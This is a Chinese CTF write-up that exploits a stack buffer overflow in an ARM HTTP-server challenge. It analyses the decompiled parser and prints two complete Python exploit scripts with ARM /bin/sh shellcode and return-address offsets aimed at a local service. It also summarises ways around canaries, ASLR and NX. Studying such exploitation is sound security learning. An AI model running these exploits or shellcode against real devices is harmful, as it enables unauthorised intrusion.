0x00 前言

不知道从什么时候开始arm pwn开始频繁在比赛中出现,在一定程度上来讲这是一件好事,对以后做物联网设备漏洞挖掘和复现是有一定帮助的,比赛越来越接近实战,但坏就坏在,我不会,一道简单的arm栈溢出,调了8个小时才出,我是five

0x10 前置知识

  • 基础栈溢出知识
  • arm指令架构集合

0x20 题目分析

接下来我们来看看这道题:

题目在github上:https://github.com.cnpmjs.org/saelo/armpwn.git

这题说难也不难,说简单也不简单,朋友给我的这道是基于这道题改的(其实一点都没动,只是把保护关了,便于大家做出来,四个小时也太少了)

我们先不看他的源码来分析这道题:

image-20210528172433742

好,32位小端序文件,arm架构,动态连接库,编译保护全关

接下来我们尝试运行他,本地环境搭起来(这里就不讲怎么搭起来环境了,我上一篇博客有写):index.html存在就行,我是直接用的下载下来的那个

image-20210528172750669

用ida来静态分析一下:

image-20210528173152460

可以看到程序其实很简单,我们跟过去一步步看他怎么执行的:

fork子进程后进入:

image-20210528173417864

image-20210528173535914

这时开始解析web请求包,我们一步步分析他都干了什么(图上面有的地方分析错了),看下面的就行

v2 = v16; do { if ( !dword_228D8 ) { dword_228D8 = recv(fd, &request_package, 0x800u, 0); //dword_228D8 = 整个请求包长度 注意这里是一直接收,每次0x800个以内,请求包复制到request_package中 if ( dword_228D8 <= 0 ) return -1; } v3 = dword_228D8; memcpy(v2, &request_package, dword_228D8); // 复制请求包到v2里 v2 += v3; // 将v2指针向后移动v3个字节 dword_228D8 = 0; v4 = memmem(v16, v2 - v16, "\r\n\r\n", 4); // 寻找有没有\r\n\r\n的content开始标示符号 v5 = v4; } while ( !v4 ); //上面代码主要实现,将请求包前面的如(GET /index.html HTTP/1.1\r\nContent-Lenth:%d\r\n\r\n)复制到栈上 v7 = (v4 + 4); // content开始位置 dword_228D8 = &v2[-v4 - 4]; memcpy(&request_package, (v4 + 4), &v2[-v4 - 4]); // 复制content部分到request_package *(v5 + 4) = 0; v8 = strcasestr(v16, "Content-Length:"); // 返回lenth的地址 if ( !v8 ) // 如果匹配不到 return vuln(fd, v16, v7 - v16); // v16 = 整个请求包开始位置,v7为content开始位置 // v7-v16为整个请求头长度 v9 = *_ctype_b_loc(); // 如果匹配到则进行下面操作 v10 = (v8 + 15); do v11 = v10++; while ( (v9[*v11] & 0x2000) != 0 ); // 数出字符长度 v12 = strtol(v11, 0, 10); // 转为10进 if ( v12 <= 0 ) // 如果为负数 return vuln(fd, v16, v7 - v16); while ( 1 ) { if ( dword_228D8 ) { if ( dword_228D8 >= v12 ) v13 = v12; else v13 = dword_228D8; // 228d8 = (int)&v2[-v4 - 4] memcpy(v7, &request_package, v13); // 复制从request_package开始v13个字节到v7 v7 += v13; // v7--->v7+v13 v12 -= v13; // v12 = v12-v13 v14 = dword_228D8 - v13; dword_228D8 = v14; if ( v14 ) memmove(&request_package, &request_package + v13, v14);// 复制v14个字节到reqeuest_package goto LABEL_16; } v15 = recv(fd, v7, v12, 0); // 接收v12个字节 if ( v15 <= 0 ) return -1; v12 -= v15; v7 += v15; LABEL_16: if ( v12 <= 0 ) return vuln(fd, v16, v7 - v16); } }

接下来我们分析一下vuln这个函数(vuln是我自己命名的)

int __fastcall vuln(int a1, void *s1, int a3) { const char *v6; // r4 _BYTE *v7; // r0 char *v9; // r0 FILE *v10; // r0 FILE *v11; // r4 int v12; // r5 size_t v13; // r2 char v14[2072]; // [sp+0h] [bp-818h] BYREF if ( memcmp(s1, "GET", 3u) ) // s1 为整个请求包 return sub_10E24(a1, 501, "Not Implemented"); v6 = s1 + 4; // v6 = "GET "+path+" "+"HTTP/1.1\r\n" 中的path的那一部分 v7 = memchr(s1 + 4, ' ', a3 - 4); // 从从请求头开始位置所指内存区域的前整个请求头长度的个字节查找字符空格。 // 获取请求路径 if ( !v7 ) // 如果没找到 return sub_10E24(a1, 400, "Bad Request"); *v7 = 0; // 如果找到了就吧空格所指的地方=0 为了截断v6的长度 if ( !strcmp(s1 + 4, "/") ) // 如果GET / \r\n\r\n { v6 = "index.html"; } else if ( !strcmp(s1 + 4, "/doorunlock") || !strcmp(s1 + 4, "/doorlock") ) { return (sub_10E94)(a1, s1 + 5); // 如果请求doorunlock 或者doorlock路径 } v9 = inet_ntoa(dword_228CC); printf("%s:%d request for file '%s'\n", v9, HIBYTE(word_228CA) | (word_228CA << 8), v6); if ( strstr(v6, "/dev") || strstr(v6, "/sys") ) return sub_10E24(a1, 404, "Not Found"); strcpy(v14, "webroot/"); // 在路径前拼接webroot网站根目录 strcat(v14, v6); // 将v6追加到v14上,注意:这里是有一个漏洞的,当路径太长的时候就会触发,我一开始没注意到,我打的是上一个函数 v10 = fopen(v14, "r"); // 读取html文件 v11 = v10; // 找不到文件就报404 if ( !v10 ) return sub_10E24(a1, 404, "Not Found"); fseek(v10, 0, 2); v12 = ftell(v11); fseek(v11, 0, 0); sub_10DB8(a1, "HTTP/1.1 200 OK\r\n"); sub_10DB8(a1, "Content-Type: text/html\r\n"); sub_10DB8(a1, "Content-Length: %d\r\n\r\n", v12); while ( 1 ) { v13 = fread(v14, 1u, 0x800u, v11); // 从html文件里读取内容,一次读取0x800字节 if ( !v13 ) break; send(a1, v14, v13, 0); } fclose(v11); return 200; }

0x30 利用方式

这样一分析我们的利用思路就清晰了:

方法1:构造0x1020以上长度的包来溢出v16

解析:因为v16存储来整个请求包,而v16的长度只有0x1020,因此当请求包大于这个长度的时候就可以溢出

方法2:构造0x818以上长度的包来溢出v14

解析,因为strcat(v14,v6)会将v6的那部分追加复制到v14,而大于v14的长度0x818的时候就造成了溢出

由于没有任何保护,所以我们可以构造ret2shellcode来完成利用,等下我们在分析如果他开了保护该怎么做(反正有源码可以分析调试)

针对方法一我们可以构造请求包:

GET /index.html HTTP/1.1\r
Content-Lenth:len(payload)\r
\r
shellcode.ljust(0x1020-4-len(header))+p32(request_package)

利用脚本:(修改shellcode)就可以实现反弹shell

#!/usr/bin/env python #!coding: utf-8 # # Copyright (c) 2015 Samuel Groß # import argparse, struct, sys, time, re, telnetlib from socket import create_connection from pwn import * TARGET = ('127.0.0.1', 10001) # # Helper functions # def p(*args): return b''.join(struct.pack('<I', v) for v in args) def u(b): return struct.unpack('<I', b)[0] def e(s): return s.encode() def d(b): return b.decode() def request(path='/', body=b'', socket=None): """Perform an HTTP request.""" close = False if not socket: socket = create_connection(TARGET) close = True request = b'GET ' + e(path) + b' HTTP/1.1\r\nContent-Length: ' + e(str(len(body))) + b'\r\n\r\n' + body print(hex(len(request))) socket.sendall(request) resp = b'' while not b'\r\n\r\n' in resp: b = socket.recv(1) if len(b) == 0: raise ConnectionResetError resp += b match = re.search('Content-Length:\s*(\d+)', d(resp), re.IGNORECASE) if match: l = int(match.group(1)) while l: b = socket.recv(l) if len(b) == 0: raise ConnectionResetError resp += b l -= len(b) if close: socket.close() return resp def exp(): s = create_connection(TARGET) print("[*] trying to find offset to stack cookie...") shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"; test = 0x010D70 payload = shellcode payload = payload.ljust(0xfe0-0x4,"A")+'A'*(0x1c-0x4)+p32(0x00220C8) print(hex(len(payload))) res = request('/', payload, s) print(res) if __name__ == "__main__": exp()

image-20210528182142064

针对方法2我们则可以这样构造:

这里就要先分析一下,因为我们要使用ret2shellcode,而且我们要稳定getshell(或者爆破次数低也行),直接使用content的地方也行,其实调试算偏移也可以,但我一开始不知道怎么把fork给patch掉,我是一步步带数据算的,等下写怎么patch调试

GET /A*(0x814-len(webroot/))+p32(requset_package) HTTP/1.1\r
Content-Lenth:len(shellcode)\r
\r
shellcode

但我打的时候发现不行(后来发现问题很SB):

为了方便调试,我们先把文件patch一下,将这里CALL FORK的指令改为MOV r0,0 其他改法也可以,主要是让这里的v16>=0 进入主程序

image-20210528193304340

然后apply into new file就可以了

我们在这里下断点:

image-20210528193727261

设置gdb:

image-20210528193854250

一路C到断点:

image-20210528194148832

我们发现我们的返回地址被改成了 0x000200c8 ,而我们的返回地址应该是0x0002020c8 的,经过一番排除,最终在上面的程序中找到:

  v6 = s1 + 4;																	// v6 = "GET "+path+" "+"HTTP/1.1\r\n" 中的path的那一部分
  v7 = memchr(s1 + 4, ' ', a3 - 4);             // 从从请求头开始位置所指内存区域的前整个请求头长度的个字节查找字符空格。
                                                // 获取请求路径
  if ( !v7 )                                    // 如果没找到
    return sub_10E24(a1, 400, "Bad Request");
  *v7 = 0;  

有内鬼,我们的0x20被解析成了空格,然后被v7截断了,那问题就简单了,在加上0x100变成0x000221c8 不就完事了

Get

QQ20210528-195315@2x

Payload 构造:

GET /A*(0x814-len(webroot/))+p32(requset_package+0x100) HTTP/1.1\r
Content-Lenth:len(shellcode)\r
\r
"A"*0x100+shellcode

Exp:

#!/usr/bin/env python #!coding: utf-8 # # Copyright (c) 2015 Samuel Groß # import argparse, struct, sys, time, re, telnetlib from socket import create_connection from pwn import * TARGET = ('127.0.0.1', 10001) # # Helper functions # def p(*args): return b''.join(struct.pack('<I', v) for v in args) def u(b): return struct.unpack('<I', b)[0] def e(s): return s.encode() def d(b): return b.decode() def request(path='/', body=b'', socket=None): """Perform an HTTP request.""" close = False if not socket: socket = create_connection(TARGET) close = True request = b'GET ' + path + b' HTTP/1.1\r\nContent-Length: ' + e(str(len(body))) + b'\r\n\r\n' + body socket.sendall(request) resp = b'' while not b'\r\n\r\n' in resp: b = socket.recv(1) if len(b) == 0: raise ConnectionResetError resp += b match = re.search('Content-Length:\s*(\d+)', d(resp), re.IGNORECASE) if match: l = int(match.group(1)) while l: b = socket.recv(l) if len(b) == 0: raise ConnectionResetError resp += b l -= len(b) if close: socket.close() return resp def exp(): s = create_connection(TARGET) print("[*] start fucking this CTF server.....") request_package = 0x00221C8 shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68" test = 0x010D70 payload = "/".ljust(0x818-len("webroot/")-0x4,"A")+p32(request_package) payload2 = "A"*0x100+shellcode res = request(payload, payload2, s) print(res) if __name__ == "__main__": exp()

本题目见附件

0x40 反思拓展

至此本题目分析利用完毕,那么让我们想想如果他开启了一些常见的保护我们应该怎么利用

  • 开启NX保护
  • 开启NX以及栈保护

也可以将问题分析为两类:

  • Arm 中如何像在Glibc pwn中使用类似于ret2libc,ret2csu等之类的操作,以及需要如何调用gadget
  • 如何绕过canary以及aslr等保护

根据我在网上学到的关于Arm架构下的一些常见pwn方式,以及反思来展开利用

  • Ret2shellcode(调用 mprotect)
  • Ret2libc
  • PIE绕过(基于本题可以通过任意文件读/proc/self/maps来进行绕过)
  • Canary绕过

PIE一般是不开的我们不管他,开了也不好调试,对于开PIE的程序,只要能泄漏出一个固定偏移的地址,也就相当于没开

我们先来看看这个来自六年前的题目:

首先从github上下载下来的题目是保护全开的,我们先跟着出题人的思路走一遍(exploit中):

Stage1 是关于任意文件读取,怎么把题目拿下来的方法,在这里不分析了

我们主要看Stage2:

# Stage 2 : Reverse Engineering the binary

There's a classic stack based buffer overflow in the function receiving the request. Sending a little more than 4096 bytes will crash the child process. // 此方法为我们前面提到的方法一

## Bypassing the stack canary

Stack canaries are enabled, however, the value of the cookie can be brute forced as the cookie doesn't change accross forks.
By overwriting one unknown byte of the canary at a time it's value can be brute forced in approximately 128\*4 requests (in practive this is reduced to 128\*3 since the first byte is usually 0 to prevent exploitation of strcpy and similar functions). //这里的大概意思是说:虽然开启了栈溢出保护,但在整个子进程中cookie的值不会改变并且会被强制执行,通过一次复写一字节(32位程序中canary为4字节)的canary,可以有大概

See cookiebrute()

## Bypassing ASLR

Arbitrary files can be read using the path traversal bug. Reading /proc/self/maps will allow for an ASLR bypass.

See leakmaps()

## Bypassing NX

No-eXecute (NX) can be bypassed by using a ROP chain.
There are multiple ways to construct the ROP chain. The two most common ways are

- prepare the arguments for system() and jump there
- mmap an rwx memory region and write some shellcode there, then jump there.

Both are implemented in pwn.py

Gadgets can be found using e.g. the [ROPgadget tool](https://github.com/JonathanSalwan/ROPgadget).